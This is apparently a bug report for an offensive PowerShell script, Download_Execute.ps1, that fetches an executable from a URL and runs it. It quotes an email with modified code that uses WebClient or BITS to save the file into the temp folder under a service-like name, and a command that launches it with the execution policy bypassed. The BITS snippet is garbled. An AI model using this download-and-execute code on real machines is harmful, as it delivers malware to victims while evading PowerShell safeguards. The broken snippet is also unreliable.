What steps will reproduce the problem?
1. Provide a URL where EXE is stored to Download_Execute.ps1
2. An error is received.
Resolution: Download_Execute requires an executable in txt format converted using ExetoText.ps1 script.
Below is the original mail sent to me:
****************************************************************************
I found there is also a problems in encoding operations that in Download_Execute.ps1
================================================
powershell -executionpolicy Bypass -file Download_Execute.ps1 -URL "http://www.test.com/test.exe"
powershell : .....MZ? ? @ ? ? ???L
================================================
changed source code
================================================
Param( [Parameter(Position = 0, Mandatory = $True)] [String] $URL)
function Download_Execute
{
$webclient = New-Object System.Net.WebClient
$webClient.DownloadFile($URL,"$env:temp\svcmondr.exe")
#start-process -nonewwindow "$env:temp\svcmondr.exe"
}
Download_Execute
or use BitsTransfer module like
================================================
Param( [Parameter(Position = 0, Mandatory = $True)] [String] $url)
function DownloadExec
{
Import-Module
Start-BitsTransfer $urlBitsTransfer $env:temp\potmp.exe
}
DownloadExec
and run zhe command
powershell -executionpolicy Bypass -file Download_Execute.ps1 -URL "http://www.test.com/test.exe"
*************************************************************************